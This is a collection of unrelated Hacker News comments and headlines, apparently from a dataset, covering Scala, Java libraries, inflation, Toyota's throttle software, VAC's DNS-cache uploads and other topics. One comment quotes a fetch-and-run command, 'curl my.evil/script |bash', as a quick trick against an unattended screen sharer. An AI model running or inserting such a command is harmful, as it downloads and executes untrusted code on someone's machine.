skysight-inc/HackerNews huggingface dataset:
Good point, although it was a bit cheeky of me to generalize anything these days as Von Neumann vs Harvard. Thanks for keeping me honestish. :)
Thanks for the link; if you can ignore the somewhat hysterical delivery, that talk is really fascinating. It's more about what a programming language should be (in his opinion) than what Scala is not. He quotes my favourite aphorism from Wittgenstein as well:

The limits of my language define the limits of my world
I used to live in the municipality where there is going on.

The most interesting part is the legal wrangling.

It's not private property - it was built with driftwood in a public nature preserve. The authorities wanted it gone, but first of all - it's natural driftwood - is that illegal? Well, it turned out to be. So the artist sold the sculpture itself to some uncontactable people outside of the country, and suddenly the municipality couldn't just order him to remove it, and so on and so forth. He then built another sculpture of cement with hundreds of numbered rocks, and sold each rock to a different person, in order to spread the "blame" further.

Eventually it got so popular it became a local tourist attraction. And so it still stands.

edit: Aside from that it's just a kooky artist doing kooky things. Lars Vilks in infamous in Sweden for his stunts. He's also been outspoken in free speech issues which has made him a target of Muslim fundamentalists.
5k DogeCoin Space Invaders Tournament
Thanks for that, so the cost of doing business with EADS/Airbus is you need to buy CATIA license? In the past this was a challenge with people picking up small machine shops and what not since they had their own design flow. So I'm curious if IBM/Dassult made allowances for that or if there is a $50K "membership" fee which you have to pay to get into the EADS club :-)
Sometimes I have to upvote sarcasm :)
You're right, I did slightly misinterpret the post. I've removed it and supported my argument in a different way.

Also I don't appreciate the implication that I don't write software on a team for a large project, because I do.
Effectively this is the total point of the transcript - that the system was fatally flawed in software design. Any number of bad things could have happened to cause catastrophic faults. Unintended accleration was demonstrated to be a result that could happen on a fault occurance.
InfoSec startup primarily focused around webapps
This: "The right idea at the right time. Targeting the right market with the right product, together with the right positioning and the right strategy is the key to successful companies. The rest will follow." is applicable to any startup, not only the ones that are software driven.
With the exception of JodaTime, which is quite well designed, most of the third party libraries you mention or absolute shit. Apache Commons in particular is worse than ammateur hour work.

And while the quality of the standard SDK varies, most of it is very good, and there are stuff that's solid gold in there, like Nio and Concurrency libs.
Edward Snowden elected as rector of Glasgow University
Indeed.

If you have a mortgage, it is likely that your net worth is negative. In such a case, inflation greatly helps your networth.

Credit card debt, mortgages, student loans, payday loans... this is the reality of the lower and middle class. If you're making less than $45,000 / year, you're likely in debt in the US.

At which point, inflation helps greatly, by reducing the value of your debt. A (former) student who has $100,000 in debt isn't "losing money" to inflation... the student is instead "losing debt" to inflation.
Thank you for jumping in with the updates!
Why Your Tech Team Missed Their Deadline
New digital party app Spin
Let Spin Throw a Digital Party for You and Your Friends
It's good to see Scala getting some love after all those "i hate scala" rants (many of which seemed to be written by people who haven't spent much time with the language). We're using it at work for essentially all new development. Although I have complaints, I can't think of another language or environment that I've used that's been so satisfying and free from overall irritation.

In practice, we don't get code that's unreadable, we don't wait ages for compilation, and we gain all the functional and typesafe goodness.
Cheapest MicroSD 64GB I can find is GBP36.98 which makes that 13.5TB a mere GBP7,765.8. Compare with 3TB drives at GBP87.12 (the current sweet spot) - 13.5TB would be GBP392.04 (~20x cheaper).
I thought the new line of thinking was that if the passengers don't stop the hijackers it is basically game over.

According to a poster on reddit, the way the copilot controlled the passengers was to turn off oxygen in the cabin.
Agreed, it'd be pretty easy to run a quick "curl my.evil/script |bash" when the sharer wasn't paying attention.
In which country/countries is it blocked?
Just wondering, because it's working in Germany.
"Software auf Zuruf" ;)
1+.

IMO, You need several sets of limits: standard limits posted to the consumer, engineering limits posted to the techie/maintenance guy/developer/etc, and actual limits.... each of those is comfortably beyond the others. Know the actual limit, but design well under that if at all possible, because the system will be misused.
It keeps hitting me... If you're doing something wrong, why would you be wearing your badge?
My huge takeaway is that you can specify the shell for each key you allow to connect. I have been tweaking /etc/shells like a dope for the past 15 years. So what this means is that, when you add a key to your authorized_keys file, you can also set an optional parameter that forces the command they are going to run (overriding any command they thought they would run instead).
I'm rather a fan of getting work done ahead of schedule, presenting me with interesting problems, learning new technologies, and presenting sound arguments why my idea is bad/could be improved.

I like my team.
"The USA is making a serious gamble that the economy will be strong and fast-growing for the next 5-10 years."

You know who else is making that bet? The people eagerly buying t-bills. So eager, in fact, that they're loaning us this money at well below inflation - they're more or less paying us to keep their money safe.

We should be sure we're using borrowed money for something reasonable (building infrastructure, smoothing short term needs) rather than on what amounts to consumption, though that distinction may be hard to make.
On the national scale in Ukraine, I think you are right. But on the scale of individuals, there really are a bunch of vicious people who hate Russia, hate the EU, hate America and also hate the fatcats of Ukraine like Yanukovich. But they love violence. When people like that are allowed to mass together, violence is inevitable. The demonstrations in November and December were a completely different crowd of people and included a lot more ordinary people.
Is it just me, or is this just eu/us vs russia?
See Brian's post: https://news.ycombinator.com/item?id=7254986

Airbnb does leave an automated review about the cancellation and dings the host's listing in search results.
You're right: other people made my work possible. They put computers on my desk, paid for (nice) offices, paid the power, air conditioning, water bills, stocked the coffee room, emptied the trash, etc. They also insured the software was licensed, the laser printers were fast, stocked, and maintained. They paid the networking bills, etc. All these things I would have to do myself if I ran my own business, and I could not possibly do them as well and as cost-effectively as people who specialize in that work.

This leads to why small businesses are hard: the owner has to do everything themselves, and at many things, they are bad.

At my current company, I give the car to the free valet in the garage, grab a cup of tea, walk to my desk and sit down and work, without worrying about all the infrastructure stuff.
My study of magic has rendered me no more magical than the rest. I wish economists would be as honest.
No. Economies of scale, network effects and (god willing) an end to sprawl-based development.

By all means, if your career allows it, telecommute from anywhere you like - but nobody needs physical infrastructure and commute-endpoints spread evenly all over the land...
They are only breaking out the armoured vehicles now?
Would've happened months ago in any other western country.
Not really.. It's just as much of a country as my apartment is.

The artist in question has also had lots of media attention for his work depicting Muhammed (the prophet): https://en.wikipedia.org/wiki/Lars_Vilks#Muhammad_drawings_c...
The guy is a racist nutjob.
They probably didn't even consider it. At least, I hope not.
Watson is real artificial intelligence
> The discipline of modern desktop/web development has not reached the embedded world, except in a few high-margin areas (such as military and transportation).

My experience is that it hasn't penetrated very far there, either. Sure, we had version control and code reviews. The process was so warped and bastardized from industry standards, though, that it became a CYA/box-checking burden to keep the SQAs who really didn't understand code happy than a tool to improve development. Plus, most of the managing and systems engineers were hardware types[1] who didn't really understand what the software groups were doing or how they operated.

[1] Important note: I'm a hardware type, too. I'm just a hardware type that actually got and wrote software. Made the situation doubly frustrating.
On the other hand, what the "technology will eliminate all jobs" crowd never seems to understand is that mere survival is only part of the motivation for having a job. It may be the base of Maslow's hierarchy, but a lot of people who have "bullshit" jobs have already climbed above that base.

People want to be able to talk about what they do with their life in a way that makes them seem important. "I collect my basic income and paint" may be satisfying, but it isn't impressive. People are vain animals who want to one-up other vain animals. "I'm a project manager at BigCorp" or "I'm an accountant at a multi-million dollar company" sounds much better, even if the actual work is insipid and unimportant.

People often work jobs they don't like because of the secondary (non-monetary) benefits associated with them. Having a perfectly fair (for whatever definition of "fair") system of distributing wealth would not eliminate the effects of basic human vanity and irrationality on society and the economy. There will always be bullshit jobs because people use bullshit for the self-serving purpose of improving their apparent worth to others.
>> Central banking is possibly the greatest human invention since sanitation. The U.S. central banking system ranks among the finest of its kind.

> I came to this conclusion after spending a significant fraction of my too-short lifespan studying how money works.

Alright, I'll bite. Please educate me by answering these questions:

1) How are central banks "ranked"? What makes one better
than another?
2) What is the benefit of a central bank?
3) What makes fiat currency valuable?
4) Why is governments' ability to print limitless
amounts of fiat currency not a problem
with regard to its value?
5) .. and if it is, why are we all using fiat currency anyway?

I guess that's enough for now. Having spent years studying how money works, you should be able to breeze through these questions with satisfactory answers, right?
Living close to the so called country I can confirm that your suspicions are mostly correct. The land is owned by the government (afaik) and is not a private property by the artist. From time to time the government threatens to destroy his buildings, but since they have survived this long they can mostly be seen as empty threats.
Did not know that. I echo your advice to people to give the book another go if they haven't finished it. It is so worth it.
Sounds like you don't want competent people to challenge the rest.
Most people use the Jodatime library. JSR-310 is an extension of Stephen Colebourne's work on that library.

Obviously there are some people who use java.util.Date, but it is a real pain in the neck to use and is very commonly complained about.
> By the second year, your income should be increased to at least RMB 5,000. Minimum it should be RMB 3,000, otherwise you would not be able to keep up with inflation.

He's saying to expect to go from RMB 2,000 to _at least_ RMB 5,000.
How large? We have well over 100k lines of code (Scala), and it's not a serious issue. The sbt 0.13 incremental compiler is much better than 0.12's. Also, using sbt multi-projects helps quite a bit (even when running all at once).
At most, it means you're coasting with no power assist for steering or brakes -- you'll need some extra braking distance, but that's what the shoulder is for, and it'll take a bit more than the usual effort to turn the wheel, which means that getting onto the shoulder, especially if you're in a middle lane when all this goes wrong, is going to need to be smartly done.

Taken all together, the impression I get is of a problem in driving skill that's roughly as difficult as a blown tire at highway speeds -- possibly a bit easier, actually, considering the deleterious effect a blown tire has on steering control. An alert and competent driver should be able to handle either situation without posing a deadly danger to herself or anyone else.

The same, I think, cannot reasonably be said of uncommanded acceleration. With a blown tire or a failed ECU, all you have to do is use your ordinary driving controls to get off the freeway and bring the vehicle to a safe stop. With a throttle stuck wide open, you are suddenly a race car driver, only you're neither in a race car, nor in a race. You can't bring the vehicle to a stop with the ordinary driving controls, at least two of which -- the accelerator and the brake -- are no longer responding properly or at all, which is itself frightening and disorienting to the driver. In order to bring the vehicle to a stop, the driver must shut off the engine with the key, at which point the problem reduces to our failed-ECU worst case above, just with some more speed to burn off.

But there is no circumstance, in either the normal driving regime or even any other abnormal one, where turning off a moving car is a proper or safe response to any situation, which is why almost no driver has ever given the slightest thought to doing so -- and when your car's speeding up past ninety all of a sudden, and you're not telling it to, is maybe not the best time to be thinking up new ways to interact with your car that you've never thought of before. At a guess, I'd say some people whose Toyotas ran away on them were able to come up with the idea in time, and they mostly survived. Others ran out of time before they thought of it, and those unlucky souls mostly died.
This is so true.

At my previous job, my boss continually told me that I was the most profitable employee and I was obviously one of the most valuable. One year in, I requested a performance review and it kept being delayed. 18 months in, still no formal performance review or raise. So, I started looking for another position and was offered a position with a great team.

I was set to put in my 2-weeks notice, the day after accepting the new position. Already "out the door", just prior to putting in my 2 weeks, I was asked if I was available for a review later that day.

Had my review come anytime between that 12 and 18 month mark, I likely would not have even looked for another position. I'm glad I did though, all things considered.
Reading about "correct software" as if it were an realistic goal makes me itch. Sure, we should be striving for as few bugs as possible, but any non-trivial application will never be made "correct", if only because it'd be impossible to write the full specification to compare it to.
Currency isn't meant to do anything, it just is. The reason you (and others) think it's supposed to lose value is because you've been fed a set of lies meant to deplete your wealth.

Try this thought experiment: Let's say the Federal Reserve invented two sets of currencies in 1913: The Dollar, and The DeflataDollar. Both are protected by Legal Tender Laws, both are acceptable for paying taxes, and both are basically accepted everywhere. The only difference is that the supply of Dollars increases every year (as it does now) whereas the DeflataDollar has a constant supply. If your employer offers to pay you in either of these two currencies, which one do you choose? Any rational actor would of course choose to be paid in the currency that won't lose 97% of its value every hundred or so years.

The only way to maintain an inflationary currency is to enforce its usage through laws and taxation. Otherwise free individuals will choose something else to trade with.
OP asks if it's possible to block VAC from leaking your DNS cache (specifically the OS DNS cache obtainable via ipconfig /displaydns).

blueskin_ mentions that Firefox uses its own DNS cache, and deleting the browser cache also deletes the DNS entries.

However Firefox still uses the Windows API for DNS resolution, and deleting the browser cache doesn't result in those entries being flushed from the OS DNS cache (which is demonstrated by my experiment.) In other words, simply deleting your browser cache in Firefox will not prevent VAC from uploading your OS DNS cache. As long as the entries aren't expired or flushed manually, they will remain in your OS cache and VAC has no problem getting them.
Well, if you read the testimony, it seems clear that Toyota is overconfident in their software. They have updated the ECU software, but still as of 2010 they managed to implement the brake failsafe in the same software task that senses the accelerator, so if that task dies the brake failsafe won't work either.

That there have been tens of deaths and millions of car recalls because of unintended acceleration in Toyotas cars is at least not an urban legend. Of course it will be very difficult to locate the exact problem, but this testimony is interesting in that it shows how that can be the case (contrary to what Toyota has claimed) [Edit: And they have actually been able to reproduce unintended acceleration by memory corrupption].
Would be great if someone could add it to homebrew. [0]

[0] http://brew.sh/
I reckon I'm probably part of that minority because I argue against some of the shortsighted solutions people propose for bandaging over the problems and symptoms instead of treating the cause. For example, I know I've debated against raganwald at least once with respect to company cultures, some of which may have less then desirable traits with respect to how comfortable each gender may feel when immersed in those cultures (but ultimately is an effect, not cause of inequality).

The problem that some people have with a lot of these discussions isn't with the gender equality, but that many of those arguing for certain measures throw all logic and reason out the window when it comes to what the correct solution is. It's like they start with the "5 whys", stop after the first and propose a solution to that problem without getting to the root.

Gender inequality in STEM companies is result of problems that start far earlier in life and attempting to fix the problems at the company level is simply treating one of the myriad symptoms.

Want to actually fix the problem? Then acknowledge that it's a 20+ year solution you need and not a 1-2 year solution. Provide far more support at the elementary school level, but make sure whatever solution you come up with is gender neutral. If in the first year of offering such program for young children, the ratio of boys to girls still isn't desirable, then focus on improving over several years instead of band-aid solutions like making programs only for girls (which only teaches small boys the lesson that girls need special treatment, the absolute wrong lesson to learn.)

TBH, the only environment in which it is fair to provide STEM program support without teaching exclusion or communicating special treatment is the Girl Scouts, because at least with girl scouts (and boy scouts), the grouping is about being with your peers and does not transit the message that girls need any special treatment with regards to some activities like STEM.

For a bunch of nerds that are always discussing how to get traction and adoption of ideas, I'm constantly floored that we don't realize that getting traction/adoption that leads to gender equality can really only start at the elementary school level. Every other solution that tries to solve the problem at the adult level often just breeds resentment (from men feeling that they have some sort of original sin or male nerds burden and women being taught they need special treatment instead of succeeding on their own merit).

If there is one piece out there that is required reading to really understand this, it is this article by Susan Sons.

http://www.linuxjournal.com/content/girls-and-software
How do you bring the Internet of things to the consumer? Two perspectives.
Proof that crowdsourcing doesn't work in every damn situation.
How to Make Your Feedback Meaningful
I hope you're right. I really do.
Clever Cloud PaaS rolls out pricing update
No - he means inflation. It erodes the value of the balance that is owed making it easier to pay off
In the car at issue in that lawsuit, it didn't have a brake control system in the ECU at all. But yes, in later (2010) models that was the case.
I'm just starting to grok the process container instead of VM model. It's valuable to read a writeup like this, it really gives a sense of the different flavor process containers have in production.

I'm still a little mystified by complex setups. Installing stuff as the correct user, adding a big group of database users, stuff like that seems pretty tedious in shell. I guess that's more of a provisioning issue though.

Articles like this make me realize i don't care much what the environment actually is, I care about getting that environment configured correctly with as little effort as possible.
Obviously only one angle, but for paid events, looks slightly cheaper than the main incumbent, EventBrite: 5% + $0.99 (including CC processing) rather than 5.5% + $0.99.
What's Oakland like in SF neighbourhood comparisons? I've never been on any of my visits to the Bay Area. I'd heard it was gross & ghetto, but lots of SF is pretty disgusting too…
> nobody, nobody, hires for the sake of hiring.

Of course they do. Two examples:

- managers at all levels have an incentive to expand their fiefdoms (common interview question: how many people report to you?);

- politicians have an incentive to lower unemployment and the power to create incentives for companies to hire people that they don't need.
3D Printed Robotic Exoskeleton Allows Woman to Walk Again
Just curious, but have you used Java8 much? Or barring that, something like quasar? Qasar in particular is about writing async code as if it were sync code...
Are they "delightful"?
I would also like to be able to brew install this.
PHP, Perl, and Javascript.

And they didn't even need good execution--the time had simply come.
It would be interesting to read a similar article from a company that uses python as their core programming language (Dropbox for instance) to contrast it with this one. Python might not be as popular as Java but I was under the impression that it offered a rich enough platform/ecosystem to accommodate for a wide spectrum of software projects.
Concerning the issue of type checking, I understand that it's great to have a compiler that can take care of that for you but I'm pretty sure unit-tests and a bit more care also goes a long way when using a scripting language like Python; besides how hard can it be to sprinkle a bit of "type(<object>) is" in your code where type checking is required? (smile)

I wonder if vert.x was also considered. I don't see any mention of it in the article.
I doubt he's racist. He's more of an offline troll.